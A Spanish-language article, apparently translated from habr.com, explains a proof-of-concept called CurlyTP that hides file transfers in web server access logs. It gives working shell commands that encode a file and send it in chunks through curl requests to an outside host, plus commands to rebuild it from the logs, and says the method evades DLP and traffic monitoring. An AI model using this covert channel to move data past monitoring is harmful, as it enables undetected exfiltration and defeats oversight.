Intercambio de mensajes secretos a través de registros del servidor.

Según la definición de Wikipedia, un dead drop es una herramienta de conspiración que sirve para intercambiar información o algunos elementos entre personas que utilizan una ubicación secreta. La idea es que las personas nunca se encuentren, pero aun así intercambien información para mantener la seguridad operativa.

El escondite no debe llamar la atención. Por eso, en el mundo offline suelen utilizar cosas discretas: un ladrillo suelto en la pared, un libro de la biblioteca o un hueco en un árbol.

Hay muchas herramientas de cifrado y anonimización en Internet, pero el mero hecho de utilizar estas herramientas llama la atención. Además, pueden estar bloqueados a nivel corporativo o gubernamental. ¿Qué hacer?

El desarrollador Ryan Flowers propuso una opción interesante: utilizar cualquier servidor web como escondite. Si lo piensas bien, ¿qué hace un servidor web? Recibe solicitudes, emite archivos y escribe registros. Y registra todas las solicitudes, incluso los incorrectos!

Resulta que cualquier servidor web te permite guardar casi cualquier mensaje en el registro. Flowers se preguntó cómo usar esto.

Él ofrece esta opción:

  1. Tome un archivo de texto (mensaje secreto) y calcule el hash (md5sum).
  2. Lo codificamos (gzip+uuencode).
  3. Escribimos en el registro mediante una solicitud deliberadamente incorrecta al servidor.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Para leer un archivo, debe realizar estas operaciones en orden inverso: decodificar y descomprimir el archivo, verificar el hash (el hash se puede transmitir de forma segura a través de canales abiertos).

Los espacios se reemplazan con =+=para que no queden espacios en la dirección. El programa, que el autor llama CurlyTP, utiliza codificación base64, como archivos adjuntos de correo electrónico. La solicitud se realiza con una palabra clave. ?transfer?para que el destinatario pueda encontrarlo fácilmente en los registros.

¿Qué vemos en los registros en este caso?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Como ya se mencionó, para recibir un mensaje secreto es necesario realizar las operaciones en orden inverso:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

El proceso es fácil de automatizar. Md5sum coincide y el contenido del archivo confirma que todo se decodificó correctamente.

El método es muy sencillo. “El objetivo de este ejercicio es simplemente demostrar que los archivos se pueden transferir mediante pequeñas solicitudes web inocentes y que funciona en cualquier servidor web con registros de texto sin formato. Básicamente, cada servidor web es un escondite”, escribe Flowers.

Por supuesto, el método sólo funciona si el destinatario tiene acceso a los registros del servidor. Pero ese acceso lo proporcionan, por ejemplo, muchos proveedores de alojamiento.

¿Cómo usarlo?

Ryan Flowers dice que no es un experto en seguridad de la información y no compilará una lista de posibles usos para CurlyTP. Para él, es sólo una prueba de concepto de que las herramientas familiares que vemos todos los días se pueden utilizar de una manera poco convencional.

De hecho, este método tiene una serie de ventajas sobre otros servidores "ocultos" como Caída muerta digital o piratebox: no requiere configuración especial en el lado del servidor ni protocolos especiales y no despertará sospechas entre quienes monitorean el tráfico. Es poco probable que un sistema SORM o DLP escanee las URL en busca de archivos de texto comprimido.

Esta es una de las formas de transmitir mensajes a través de archivos de servicio. Puedes recordar cómo algunas empresas avanzadas solían colocar Trabajos de desarrollador en encabezados HTTP o en el código de páginas HTML.

Intercambio de mensajes secretos a través de registros del servidor.

La idea era que sólo los desarrolladores web vieran este huevo de Pascua, ya que una persona normal no miraría los encabezados ni el código HTML.

Intercambio de mensajes secretos a través de registros del servidor.

Fuente: habr.com

Añadir un comentario